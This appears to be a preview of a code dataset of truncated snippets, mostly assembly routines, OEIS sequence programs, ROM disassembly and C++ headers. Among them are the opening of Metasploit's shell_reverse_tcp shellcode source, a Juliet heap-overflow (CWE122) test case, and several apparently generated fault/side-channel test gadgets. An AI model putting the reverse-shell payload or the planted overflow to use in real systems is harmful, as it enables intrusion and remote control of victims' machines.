text
stringlengths
1
1.05M
; Query SMSQmulator about different things V1.00 (c) W. Lenerz 2012 ; his has practically no use section nfa include 'dev8_keys_java' xdef query_java xref ut_gxin1 xref ut_rtint query_java jsr ut_gxin1 ; get one int bne.s set_out clr.l d1 move.w (a6,a1.l),d1 ; query number moveq #jt5.qry,d0 dc.w...
#include "turn_kmeans.h" #include <cfloat> #include <numeric> #include <optional> #include <thread> #include "common.h" #include "mean_histogram.h" #include "turn_kmeans_plusplus_init.h" namespace { // calculate the distance between turn_histogram and mean_histogram and return // the distance. however, if the distanc...
BITS 64 default rel %if (__NASM_MAJOR__ < 2) || (__NASM_MINOR__ < 11) %deftok ver __NASM_VER__ %error Your nasm version (ver) is too old, you need at least 2.11 to compile this %endif %include "nasm-utils-inc.asm" nasm_util_assert_boilerplate thunk_boilerplate ; aligns and declares the global label for the bench wi...
%include "macros.mac" ;; Input: eax - integer to be printed ;; Input: ebx - base of output (i.e. 0x10 for hex) ;; Return: void ;; Pulverises all registers printBase: sub esp, 32 ;can handle as far as binary mov edi, esp printBase_digit: xor edx, edx div ebx cmp dl, 0xA jb printBase_numeric ...
; Testing the mDump Macro (TestDump.asm) ; This program demonstrates the mDump macro INCLUDE Irvine32.inc INCLUDE Macros.inc .data one BYTE "ABCDEFG" two WORD 10h,20h,30h,40h,50h,60h three DWORD 20000h,30000h,40000h .code main PROC mDump one, Y ; display variable name mDump two ; don't display ...
; ; Metasploit Framework ; http://www.metasploit.com ; ; Source for shell_reverse_tcp (single) ; ; Authors: vlad902 <vlad902@gmail.com> ; Size : 287 ; cld push byte -0x15 dec ebp call 0x2 pusha mov ebp,[esp+0x24] mov eax,[ebp+0x3c] mov edi,[ebp+eax+0x78] add edi,ebp mov ecx,[edi+0x18] mov ebx,[ed...
; A152179: (n^2-2=A008865) mod 9. Period 9:repeat 8,2,7,5,5,7,2,8,7. ; 8,2,7,5,5,7,2,8,7,8,2,7,5,5,7,2,8,7,8,2,7,5,5,7,2,8,7,8,2,7,5,5,7,2,8,7,8,2,7,5,5,7,2,8,7,8,2,7,5,5,7,2,8,7 add $0,3 mov $2,$0 add $0,5 mul $0,$2 mod $0,9 mov $1,$0 add $1,2
; A049696: a(n)=T(n,n), array T as in A049695. ; 0,2,4,8,12,20,24,36,44,56,64,84,92,116,128,144,160,192,204,240,256,280,300,344,360,400,424,460,484,540,556,616,648,688,720,768,792,864,900,948,980,1060,1084,1168 lpb $0 sub $0,1 mov $2,$0 max $2,0 seq $2,10 ; Euler totient function phi(n): count numbers <= n and...
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r13 push %r8 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_A_ht+0x1dc3c, %rbp cmp $30007, %rax and $0xffffffffffffffc0, %rbp movntdqa (%rbp), %xmm4 vpextrq $1, %xmm4, %rcx nop nop nop cmp $10660, %r13 lea addresses_WC_ht+0x1bfc, %r...
; --------------------------------------------------------------------------- ; Animation script - flamethrower (SBZ) ; --------------------------------------------------------------------------- dc.w byte_EAF4-Ani_obj47 dc.w byte_EAF8-Ani_obj47 byte_EAF4: dc.b $F, 0, $FF, 0 byte_EAF8: dc.b 3, 1, 2, 1, 2, $FD...
copyright zengfr site:http://github.com/zengfr/romhack 00042C dbra D0, $42a 001036 move.w ($10,A0), D2 [123p+ 8] 0016FE move.w ($c,A6), D1 [123p+ 8, enemy+ 8, item+ 8] 0018B2 moveq #$0, D0 [123p+ 8, 123p+ A, base+744, enemy+ 8, enemy+ A, etc+ 8, etc+ A, item+ 8, item+ A] 001922 move.w ($10,A0), D1 [1...
dw $0040 track_0F_08: db $FF, $18, $97, $DE, $63, $FE, $1A, $7E, $E6, $34 db $ED, $FC, $70, $30, $FD, $96, $87, $CA, $D4, $B4 db $B6, $38, $D5, $A9, $69, $6C, $71, $AB, $52, $FF db $DE, $8E, $9C, $4B, $EE, $AA, $3E, $EF, $D2, $F3 db $FA, $8F, $68, $C4, $BA, $CE, $1D, $34, $8F, $D8 db $E8, $7C, $9C, $4B, $47, $23...
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r14 push %r15 push %r8 push %rcx push %rdi push %rsi lea addresses_normal_ht+0x1bd61, %rsi nop nop nop and %r14, %r14 mov $0x6162636465666768, %r13 movq %r13, %xmm0 movups %xmm0, (%rsi) nop nop nop nop and $44002, %r8 lea addresses_WC_ht+0x14861, %r...
/* +----------------------------------------------------------------------+ | HipHop for PHP | +----------------------------------------------------------------------+ | Copyright (c) 2010-present Facebook, Inc. (http://www.facebook.com) | +---------...
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r14 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x3804, %rcx clflush (%rcx) nop nop nop cmp %rbx, %rbx mov (%rcx), %r12 nop nop nop nop nop and %r10, %r10 lea addresses_A_ht+0xebe8, %rsi nop nop nop nop and $15829, %rdx mov ...
; A122746: G.f.: 1/((1-2*x)*(1-2*x^2)). ; Submitted by Jamie Morken(s4) ; 1,2,6,12,28,56,120,240,496,992,2016,4032,8128,16256,32640,65280,130816,261632,523776,1047552,2096128,4192256,8386560,16773120,33550336,67100672,134209536,268419072,536854528,1073709056,2147450880,4294901760,8589869056,17179738112,34359607296,6871...
/************************************************************** * * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to y...
; A059116: The sequence lambda(4,n), where lambda is defined in A055203. Number of ways of placing n identifiable positive intervals with a total of exactly four starting and/or finishing points. ; 0,0,6,114,978,6810,43746,271194,1653378,9998970,60229986,362088474,2174656578,13054316730,78345032226,470127588954,2820937...
/* *********************************************************************************************************************** * * Copyright (c) 2015-2018 Advanced Micro Devices, Inc. All Rights Reserved. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associ...
C arm/v6/aes-decrypt-internal.asm ifelse(< Copyright (C) 2013 Niels Möller This file is part of GNU Nettle. GNU Nettle is free software: you can redistribute it and/or modify it under the terms of either: * the GNU Lesser General Public License as published by the Free Software Foundation; e...
#include <glm/gtc/matrix_transform.hpp> #include <glm/gtc/type_ptr.hpp> #include <CBGL/COpenGL.h> #include <CBGL/State.h> #include "GUIRenderContext.h" #include "gfx_MeshVertex.h" #include "gfx_Mesh.h" #include "gfx_Texture.h" #include "gfx_Frame.h" #include "gfx_FrameElement.h" #include "gfx_RenderSystem.h" namesp...
// Copyright 2022 Google LLC // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // https://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in...
;-------------------------------------------------------- ; File Created by SDCC : free open source ANSI-C Compiler ; Version 4.0.0 #11528 (MINGW64) ;-------------------------------------------------------- ; MODULE 02_const .optsdcc -mgbz80 ; Generated using the rgbds tokens. ; We have to define these here as sdcc...
extern m7_ippsGFpECSignNR:function extern n8_ippsGFpECSignNR:function extern y8_ippsGFpECSignNR:function extern e9_ippsGFpECSignNR:function extern l9_ippsGFpECSignNR:function extern n0_ippsGFpECSignNR:function extern k0_ippsGFpECSignNR:function extern ippcpJumpIndexForMergedLibs extern ippcpSafeInit:function segment ...
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r15 push %rbp push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x3701, %rsi lea addresses_D_ht+0x1e341, %rdi clflush (%rdi) nop nop xor $32532, %rdx mov $64, %rcx rep movsq mfence lea addresses_normal_ht+0xb2b1, %r15 sub %rbp, %rbp mov (%r...
// -*- mode: c++; tab-width: 4; indent-tabs-mode: t; eval: (progn (c-set-style "stroustrup") (c-set-offset 'innamespace 0)); -*- // vi:set ts=4 sts=4 sw=4 noet : // // Copyright 2010-2020 wkhtmltopdf authors // // This file is part of wkhtmltopdf. // // wkhtmltopdf is free software: you can redistribute it and/or modif...
; int esxdos_disk_read(uchar device, ulong position, void *dst) SECTION code_clib SECTION code_esxdos PUBLIC esxdos_disk_read_callee EXTERN asm_esxdos_disk_read esxdos_disk_read_callee: pop hl pop ix pop de pop bc ex (sp),hl ld a,l push ix pop hl jp asm_esxdos_disk_read
/** * Copyright 2019 Huawei Technologies Co., Ltd * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law...
times (label-$) db 0 label: db 'Where am I?'
; ; Generic pseudo graphics routines for text-only platforms ; Version for the 2x3 graphics symbols ; ; Written by Stefano Bodrato 05/09/2007 ; ; ; Get pixel at (x,y) coordinate. ; ; ; $Id: pointxy.asm,v 1.2 2008/04/07 17:43:30 stefano Exp $ ; INCLUDE "graphics/text6/textgfx.inc" XLIB pointxy...
; A096689: Numbers n such that 2n^2 + 3n + 3 is prime. ; Submitted by Christian Krause ; 0,2,4,10,16,20,26,34,40,44,46,50,62,64,74,76,80,82,86,92,94,110,122,140,160,164,170,176,182,200,202,212,214,220,224,232,236,250,262,296,302,304,310,320,322,326,332,344,346,352,392,400,404,422,424,446,452 mov $1,2 mov $2,332202 mov...
; A007526: a(n) = n(a(n-1) + 1), a(0) = 0. ; 0,1,4,15,64,325,1956,13699,109600,986409,9864100,108505111,1302061344,16926797485,236975164804,3554627472075,56874039553216,966858672404689,17403456103284420,330665665962403999,6613313319248080000,138879579704209680021,3055350753492612960484,70273067330330098091155,168655361...
; A344722: a(n) = Sum_{k=1..n} (-1)^(k+1) * floor(n/k)^4. ; Submitted by Christian Krause ; 1,15,81,240,610,1230,2336,3840,6371,9455,14097,19615,27441,36205,48849,61874,79860,99470,124816,150846,186498,221646,267232,313840,373059,431599,508595,581009,673635,767835,881357,989615,1131667,1264111,1429875,1590464,1785010,1...
; A060286: 2^(p-1)*(2^p-1) where p is a prime. ; 6,28,496,8128,2096128,33550336,8589869056,137438691328,35184367894528,144115187807420416,2305843008139952128,9444732965670570950656,2417851639228158837784576,38685626227663735544086528,9903520314282971830448816128,40564819207303336344294875201536,166153499473114483824745...
// -------------------------------------------------------------------------- // OpenMS -- Open-Source Mass Spectrometry // -------------------------------------------------------------------------- // Copyright The OpenMS Team -- Eberhard Karls University Tuebingen, // ETH Zurich, and Freie Universit...
//===--- RawComment.cpp - Extraction of raw comments ----------------------===// // // This source file is part of the Swift.org open source project // // Copyright (c) 2014 - 2016 Apple Inc. and the Swift project authors // Licensed under Apache License v2.0 with Runtime Library Exception // // See http://swift.org/LI...
/* TEMPLATE GENERATED TESTCASE FILE Filename: CWE122_Heap_Based_Buffer_Overflow__cpp_src_wchar_t_cat_11.cpp Label Definition File: CWE122_Heap_Based_Buffer_Overflow__cpp_src.label.xml Template File: sources-sink-11.tmpl.cpp */ /* * @description * CWE: 122 Heap Based Buffer Overflow * BadSource: Initialize d...
-- HUMAN RESOURCE MACHINE PROGRAM -- a: INBOX COPYTO 12 COMMENT 0 b: COPYFROM 12 JUMPN a COPYFROM [12] OUTBOX BUMPUP 12 COPYFROM [12] COPYTO 12 JUMP b DEFINE COMMENT 0 eJyzYWBg0BLvijMSeRRRI1AXuop7fth5TveYYI6QVDP23HIz9r1NelzXpmTwxMwMF2KZryX+eC6rZN0s oDYGL...
; A039272: Numbers n such that representation in base 12 has same number of 9's and 10's. ; 0,1,2,3,4,5,6,7,8,11,12,13,14,15,16,17,18,19,20,23,24,25,26,27,28,29,30,31,32,35,36,37,38,39,40,41,42,43,44,47,48,49,50,51,52,53,54,55,56,59,60,61,62,63,64,65,66,67,68,71,72,73,74,75,76,77,78,79,80,83 add $0,1 mov $1,$0 div $0,...
frame 1, 05 frame 2, 05 frame 3, 05 frame 4, 05 frame 5, 05 frame 6, 05 frame 7, 05 frame 8, 05 frame 9, 05 frame 10, 05 setrepeat 3 frame 12, 05 frame 13, 05 dorepeat 11 endanim
; FILE __CALLEE__ *fopen_callee(char *filename, char *mode) ; 07.2009 aralbrec PUBLIC fopen_callee PUBLIC ASMDISP_FOPEN_CALLEE, LIBDISP_FOPEN_CALLEE EXTERN open_callee, stdio_free EXTERN stdio_parseperm, stdio_findfileslot, stdio_malloc EXTERN stdio_error_einval_zc, stdio_error_enfile_zc, stdio_error_enomem_zc EXTERN...
; find greatest number in array of 8-bit number LDA 024DH ;fetch value of N MOV B, A ;save value of N in B LXI H, 0250H ;fetch first element, set it as largest MOV A, M ;save first element DCR B ;decrement, since first element is largest INX H ;increment to second element loop: CMP M JNC iterate MOV A, M ...
SECTION code_fp PUBLIC fpclassify EXTERN fa ; Return 0 = normal ; 1 = zero ; 2 = nan ; 3 = infinite fpclassify: ld a,(fa+5) ;exponent ld hl,1 and a ret z dec hl ret
; James Shaver ; Bubble sort of an array of numbers in assembly. ; 7/22/2014 .486 .model flat, stdcall option casemap :none include \masm32\include\windows.inc include \masm32\include\masm32.inc include \masm32\include\kernel32.inc include \masm32\macros\macros.asm includelib \masm32\lib\masm32.lib includelib \masm3...
############################################################################### # Copyright 2018 Intel Corporation # All Rights Reserved. # # If this software was obtained under the Intel Simplified Software License, # the following terms apply: # # The source code, information and material ("Material") containe...
; A324914: a(n) = Sum_{k=1..n} 2^k * tau(k), where tau(k) = A000005(k). ; 2,10,26,74,138,394,650,1674,3210,7306,11402,35978,52362,117898,248970,576650,838794,2411658,3460234,9751690,18140298,34917514,51694730,185912458,286575754,555011210,1091882122,2702494858,3776236682,12366171274,16661138570,42430942346,76790680714,...
/* Copyright (C) 2006, Mike Gashler This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. see http://www.gnu.org/copy...
SECTION code_fp_math48 PUBLIC dge EXTERN cm48_sccz80p_dge defc dge = cm48_sccz80p_dge
; A077888: Expansion of (1-x)^(-1)/(1+x^2-x^3). ; Submitted by Jamie Morken(s2) ; 1,1,0,1,2,0,0,3,1,-2,3,4,-4,0,9,-3,-8,13,6,-20,8,27,-27,-18,55,-8,-72,64,65,-135,0,201,-134,-200,336,67,-535,270,603,-804,-332,1408,-471,-1739,1880,1269,-3618,612,4888,-4229,-4275,9118,47,-13392,9072,13440,-22463,-4367,35904,-18095,-40270...
; A017044: a(n) = (7*n + 5)^4. ; 625,20736,130321,456976,1185921,2560000,4879681,8503056,13845841,21381376,31640625,45212176,62742241,84934656,112550881,146410000,187388721,236421376,294499921,362673936,442050625,533794816,639128961,759333136,895745041,1049760000,1222830961,1416468496,1632240801,1871773696,2136750625,2...
/* * Copyright (c) 2003-2005, National ICT Australia (NICTA) */ /* * Copyright (c) 2007 Open Kernel Labs, Inc. (Copyright Holder). * All rights reserved. * * 1. Redistribution and use of OKL4 (Software) in source and binary * forms, with or without modification, are permitted provided that the * following condi...
; float __fspoly (const float x, const float d[], uint16_t n) SECTION code_clib SECTION code_math PUBLIC cm32_sdcc_fspoly EXTERN m32_fspoly_callee .cm32_sdcc_fspoly ; evaluation of a polynomial function ; ; enter : stack = uint16_t n, float d[], float x, ret ; ; exit : dehl = 32-bit product ...
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r9 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_WC_ht+0x16378, %rcx nop lfence movb (%rcx), %r10b nop nop nop nop cmp %rbx, %rbx lea addresses_normal_ht+0x14578, %rsi lea addresses_A_ht+0x378, %rdi clflush (%rdi) nop nop cmp %r12,...
section .text global _start _start: mov edx,len mov ecx,msg mov ebx,1 mov eax,4 int 0x80 ...
#include "bitcoinunits.h" #include <QStringList> BitcoinUnits::BitcoinUnits(QObject *parent): QAbstractListModel(parent), unitlist(availableUnits()) { } QList<BitcoinUnits::Unit> BitcoinUnits::availableUnits() { QList<BitcoinUnits::Unit> unitlist; unitlist.append(BTC); unitlist.append(mBT...
; A046657: a(n) = A002088(n)/2. ; 1,2,3,5,6,9,11,14,16,21,23,29,32,36,40,48,51,60,64,70,75,86,90,100,106,115,121,135,139,154,162,172,180,192,198,216,225,237,245,265,271,292,302,314,325,348,356,377,387,403,415,441,450,470,482,500,514,543,551,581,596,614,630,654,664,697,713,735,747,782,794,830,848,868,886,916,928,967,983...
; ; Z88 Graphics Functions - Small C+ stubs ; ; Written around the Interlogic Standard Library ; ; Stubs Written by D Morris - 30/9/98 ; ; Wide resolution (int type parameters) version by Stefano Bodrato ; ; $Id: w_xordrawto.asm $ ; ; CALLER LINKAGE FOR FUNCTION POINTERS IF !__CPU_INTEL__ SEC...
; THE COMPUTER CODE CONTAINED HEREIN IS THE SOLE PROPERTY OF PARALLAX ; SOFTWARE CORPORATION ("PARALLAX"). PARALLAX, IN DISTRIBUTING THE CODE TO ; END-USERS, AND SUBJECT TO ALL OF THE TERMS AND CONDITIONS HEREIN, GRANTS A ; ROYALTY-FREE, PERPETUAL LICENSE TO SUCH END-USERS FOR USE BY SUCH END-USERS ; IN USING, DIS...
#include "GameApp.h" int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE prevInstance, _In_ LPSTR cmdLine, _In_ int showCmd) { // 这些参数不使用 UNREFERENCED_PARAMETER(prevInstance); UNREFERENCED_PARAMETER(cmdLine); UNREFERENCED_PARAMETER(showCmd); // 允许在Debug版本进行运行时内存分配和泄漏检测 #if defined...
;----------------------------------------------------------- ; Filename: cedit.asm ; Long name: Cursor Editor ; Author: Chipmaster, with Kerm Martian aka Christopher Mitchell ; Last Update: Unknown ; ; Tab functions, mouse hook for GUI, InfoPop and MemoryPop-related ; code, and similar. ; ;Please consult license.t...
; A246292: Number of permutations on [n*(n+1)/2] with cycles of n distinct lengths. ; Submitted by Jon Maiga ; 1,1,3,120,151200,10897286400,70959641905152000,60493719168990845337600000,9226024969987629401488081551360000000,329646772667218349211759153151614073700352000000000,349878840213246139935105292316096697519298970...
BITS 16 section .text foo: shld bx, ax, 9 shrd [ebx], ax, 9 shld ebx, eax, 9 shrd [ebx], eax, 9 shld bx, ax, cl shrd [ebx], ax, cl shld ebx, eax, cl shrd [ebx], eax, cl
bits 16 ;;;;; ; Converts hexadecimal digit to byte. ; Format: 0~F or 0~f ; Arguments: ; DS:SI Pointer to string. ; Return: ; AL Value converted. (0 if not valid hexadecimal digit) ; SI End of the hexadecimal value. ;;;;; xtob: lodsb cmp al, '9' jg .is_letter cmp al, '0'...
; A036126: a(n) = 3^n mod 43. ; 1,3,9,27,38,28,41,37,25,32,10,30,4,12,36,22,23,26,35,19,14,42,40,34,16,5,15,2,6,18,11,33,13,39,31,7,21,20,17,8,24,29,1,3,9,27,38,28,41,37,25,32,10,30,4,12,36,22,23,26,35,19,14,42,40,34,16,5,15,2,6,18,11,33,13,39,31,7,21,20,17,8,24,29,1,3,9,27,38,28,41,37,25,32,10,30,4,12,36,22 mov $1,1 ...
; A077854: Expansion of 1/((1-x)*(1-2*x)*(1+x^2)). ; 1,3,6,12,25,51,102,204,409,819,1638,3276,6553,13107,26214,52428,104857,209715,419430,838860,1677721,3355443,6710886,13421772,26843545,53687091,107374182,214748364,429496729,858993459,1717986918,3435973836,6871947673,13743895347,27487790694,54975581388,109951162777,21...
; @@@ void mikeos_input_string(char *buf); %include "os_vector.inc" section .text use16 global _mikeos_input_string _mikeos_input_string: mov bx, sp mov ax, [ss:bx + 2] mov bx, os_input_string call bx ret
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r15 push %r8 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_normal_ht+0x13929, %r8 nop nop nop nop nop and %r15, %r15 mov $0x6162636465666768, %r13 movq %r13, %xmm3 vmovups %ymm3, (%r8) nop nop xor $9627, %rcx lea addresses_UC_ht+0x4ce3, %rsi...
object_const_def ; object_event constants const PLAYERSNEIGHBORSHOUSE_COOLTRAINER_F const PLAYERSNEIGHBORSHOUSE_POKEFAN_F PlayersNeighborsHouse_MapScripts: db 0 ; scene scripts db 0 ; callbacks PlayersNeighborsDaughterScript: jumptextfaceplayer PlayersNeighborsDaughterText PlayersNeighborScript: jumptextface...
// Copyright (c) 2013-2015 The Bitcoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. // Unit tests for alert system #include "alert.h" #include "chain.h" #include "chainparams.h" #include "clientversion.h" #in...
# timetemplate.asm # Written 2015 by F Lundevall # Copyright abandonded - this file is in the public domain. .macro PUSH (%reg) addi $sp,$sp,-4 sw %reg,0($sp) .end_macro .macro POP (%reg) lw %reg,0($sp) addi $sp,$sp,4 .end_macro .data .align 2 mytime: .word 0x5957 timstr: .ascii "text more text lots of t...
#pragma comment(linker, "/stack:200000000") #pragma GCC optimize("Ofast,no-stack-protector") #pragma GCC target("sse,sse2,sse3,ssse3,sse4,popcnt,abm,mmx,avx,tune=native") #pragma GCC optimize("unroll-loops") #define _CRT_SECURE_NO_WARNINGS #include<bits/stdc++.h> #include <ext/pb_ds/detail/standard_policies.h...
#x from 10 - 370, y from 100 - 200, cube 45 x 25, word 8 x 16 .text li $s0, 10 #x position of the head li $s1, 100 #y position of the head li $t7, 200 li $t8, 370 li $s7, 10 outer: li $a2, 0xFFFFFFFF #loads the color white into the register $a2 li $s0, 10 inner: move $s3, $s0 move $s4, $s1 li $s2, 88...
; ; ; Z88 Maths Routines ; ; C Interface for Small C+ Compiler ; ; 7/12/98 djm ;double floor(double) ;Number in FA.. SECTION code_fp IF FORz88 INCLUDE "target/z88/def/fpp.def" ELSE INCLUDE "fpp.def" ENDIF PUBLIC floor EXTERN...
//**************************************************************************** // Copyright © 2015 Jan Erik Breimo. All rights reserved. // Created by Jan Erik Breimo on 2015-09-21. // // This file is distributed under the Simplified BSD License. // License text is included with the source distribution. //*************...
// Copyright (c) Peter Hillerström (skipifzero.com, peter@hstroem.se) // For other contributors see Contributors.txt // // This software is provided 'as-is', without any express or implied // warranty. In no event will the authors be held liable for any damages // arising from the use of this software. //...
#include <iostream> using namespace std; int sol(int a, int b) { //euclides if(b == 0) return a; return sol(b, a % b); } int main() { int n; cin >> n; int arr[n]; for(int i = 0; i < n; ++i) cin >> arr[i]; if(n == 1) { cout << arr[0]<<'\n'; return 0; } int gcd...
/* Firmata.cpp - Firmata library Copyright (C) 2006-2008 Hans-Christoph Steiner. All rights reserved. Revision: 08/18/2011 (Scott Hanson) - Firmata firmware version number bug fix This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public Li...
; A170242: Number of reduced words of length n in Coxeter group on 41 generators S_i with relations (S_i)^2 = (S_i S_j)^40 = I. ; 1,41,1640,65600,2624000,104960000,4198400000,167936000000,6717440000000,268697600000000,10747904000000000,429916160000000000,17196646400000000000,687865856000000000000,2751463424000000000000...
; Aurora 256 colour definitions V1.00  2000 Tony Tebby ; 2002 Marcel Kilgus section driver xdef pt.palql xdef pt.pal256 xdef pt.spxlw xdef pt.rpxlw xdef pt.samsk pt.palql equ 8 ; size of QL palette pt.pal256 equ 256 ; size of 256 colour palette pt.spxlw equ 2 ; shift pixels to long word pt.rpx...
; A084221: a(n+2) = 4*a(n), with a(0)=1, a(1)=3. ; 1,3,4,12,16,48,64,192,256,768,1024,3072,4096,12288,16384,49152,65536,196608,262144,786432,1048576,3145728,4194304,12582912,16777216,50331648,67108864,201326592,268435456,805306368,1073741824,3221225472,4294967296,12884901888,17179869184,51539607552,68719476736,20615843...
; ; ANSI Video handling for the Robotron Z9001 ; ; Stefano Bodrato - Sept. 2016 ; ; ; CLS - Clear the screen ; ; ; ; $Id: f_ansi_cls.asm,v 1.1 2016-09-23 06:21:35 stefano Exp $ ; SECTION code_clib PUBLIC ansi_cls EXTERN __z9001_attr .ansi_cls ld hl,$EC00 ld (hl),32 ;' ' ld d,h ld e,l inc de ld bc...
; A064583: a(n) = n^4*(n^4+1)*(n^2-1). ; 0,0,816,53136,986880,9390000,58831920,276825696,1057222656,3444262560,9900990000,25724822640,61490347776,137047559376,287786357040,574098840000,1095233372160,2009042197056,3559481173296,6114129610320,10214463840000,16642143690480,26505160063536,41348347984416,63293496422400,9521...
leaw $R0,%A movw (%A),%D leaw $R3,%A movw %D,(%A) ;valor R0 salvo em R3. leaw $R1,%A movw (%A),%D ; d com valor de R1 leaw $R4,%A movw %D,(%A) ; R1 em R4 while1: leaw $R3, %A movw (%A),%D leaw $R4, %A subw %D,(%A),%S leaw $R3,%A movw %S,(%A) leaw $R5,%A movw (%A),%D incw %D leaw $R5,%A movw %D,(%A) leaw...
SECTION code_driver SECTION code_driver_terminal_output PUBLIC console_01_output_fzx_proc_check_scroll console_01_output_fzx_proc_check_scroll: ; enter : ix = struct fzx_state * ; hl = y coord ; ; exit : scroll required ; ; hl = scroll amount in pixels ; carry res...
; A070619: n^5 mod 36. ; 0,1,32,27,16,29,0,31,8,9,28,23,0,25,20,27,4,17,0,19,32,9,16,11,0,13,8,27,28,5,0,7,20,9,4,35,0,1,32,27,16,29,0,31,8,9,28,23,0,25,20,27,4,17,0,19,32,9,16,11,0,13,8,27,28,5,0,7,20,9,4,35,0,1,32,27,16,29,0,31,8,9,28,23,0,25,20,27,4,17,0,19,32,9,16,11,0,13,8,27,28,5,0,7,20,9,4,35,0,1,32,27,16,29,0,3...
main: PUSH %14 MOV %15,%14 SUBS %15,$8,%15 SUBS %15,$16,%15 SUBS %15,$4,%15 @main_body: MOV $1,-4(%14) MOV $2,-8(%14) MOV $3,-12(%14) MOV -8(%14),%0 ADDS $1,-8(%14),-8(%14) MOV %0,-16(%14) MOV $0,-20(%14) ADDS -4(%14),-8(%14),%1 MOV %1,-24(%14) MOV $1,-28(%14) JMP @main_exit @m...
; mstr.asm ; routines for parsing out string values from ; mumps code, variables etc ; getmstr ; ;mov r11,*r10+ push r11 ;getleftval: ; get left side of expression bl @getvalue ; left side gmops clr r3 movb *r9,r3 getop ci r3,SPACE ; if space done jeq exitgm ci r3,NULL ; if null done je...
//////////////////////////////////////////////////////////////////////////////// /// @brief test suite for arangodb::cache::Rebalancer /// /// @file /// /// DISCLAIMER /// /// Copyright 2017 ArangoDB GmbH, Cologne, Germany /// /// Licensed under the Apache License, Version 2.0 (the "License"); /// you may not use this ...
; A040252: Continued fraction for sqrt(269). ; 16,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2 mul $0,8 mov $1,4 mov $2,$0 cmp $2,0 add $0,$2 div $1,$0 gcd $0,3 add $0,2 add $1,4...
#pragma once //------------------------------------------------------------------------------ // // Copyright 2018-2019 Fetch.AI Limited // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the Licen...
; ; Small C+ Runtime Library ; ; Z88 Application functions ; ; *** Z88 SPECIFIC FUNCTION - probably no equiv for your machine! *** ; ; 11/4/99 ; ; Send Mail ; ; int sendmail(char *type, char *info, int length) ; ; Returns 0 on failure, number of bytes present on success ...
.model small .data flagstatus dw ? ; Here we create a variable flagstatus that is dword or 2 bytes in memory whose type is not defined .code main proc mov ax, 1 ; we assign the value 1 to the ax reg push ax ; we then push ax on top of the stack where it remains...
MoonMonsB1: db $0A db 8,ZUBAT db 9,ZUBAT db 10,TEDDIURSA db 10,GEODUDE db 11,GEODUDE db 11,PSYDUCK db 9,PARAS db 11,PARAS db 10,CLEFAIRY db 12,CLEFAIRY db $00
dnl Intel Pentium mpn_divexact_1 -- mpn by limb exact division. dnl Copyright 2001, 2002, 2014 Free Software Foundation, Inc. dnl This file is part of the GNU MP Library. dnl dnl The GNU MP Library is free software; you can redistribute it and/or modify dnl it under the terms of either: dnl dnl * the GNU Less...
; A293296: a(n) = 2*n^2 - floor(n/4). ; 0,2,8,18,31,49,71,97,126,160,198,240,285,335,389,447,508,574,644,718,795,877,963,1053,1146,1244,1346,1452,1561,1675,1793,1915,2040,2170,2304,2442,2583,2729,2879,3033,3190,3352,3518,3688,3861,4039,4221,4407,4596 mov $1,$0 pow $0,2 mul $0,2 div $1,4 sub $0,$1 mov $1,$0
// Copyright (c) 2012-2016, The CryptoNote developers, The Bytecoin developers // // This file is part of Karbo. // // Karbo is free software: you can redistribute it and/or modify // it under the terms of the GNU Lesser General Public License as published by // the Free Software Foundation, either version 3 of the Lic...
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r15 push %rcx push %rdi push %rsi lea addresses_D_ht+0xe494, %rsi lea addresses_WC_ht+0xb294, %rdi clflush (%rdi) and %r15, %r15 mov $31, %rcx rep movsq nop nop add %r12, %r12 pop %rsi pop %rdi pop %rcx pop %r15 pop %r12 ret .global s_faulty_load s_fault...
.def srbyte = r12 ;byty for search rom algorithm .def writelow = r13; marker for send low .def zero =r14; always zero .def smode=r15; if 1 then send .def temp = r16 ; .def temp2 = r17; .def mode = r18 ; .def bitp = r19 ; bit counter ... shift... .def rwbyte = r21; .def param = r22; .def bytep = r23 ;byte coun...
/** * @file methods/ann/layer/softmax.hpp * @author Mrityunjay Tripathi * @author Sreenik Seal * * Definition of the Softmax class. * * mlpack is free software; you may redistribute it and/or modify it under the * terms of the 3-clause BSD license. You should have received a copy of the * 3-clause BSD license...
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r9 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x15f24, %rcx nop and %r9, %r9 mov $0x6162636465666768, %rdx movq %rdx, %xmm7 movups %xmm7, (%rcx) nop nop nop dec %r10 lea addresses_WC_ht+0xd508, %rsi lea addresses_A_ht+0x1de...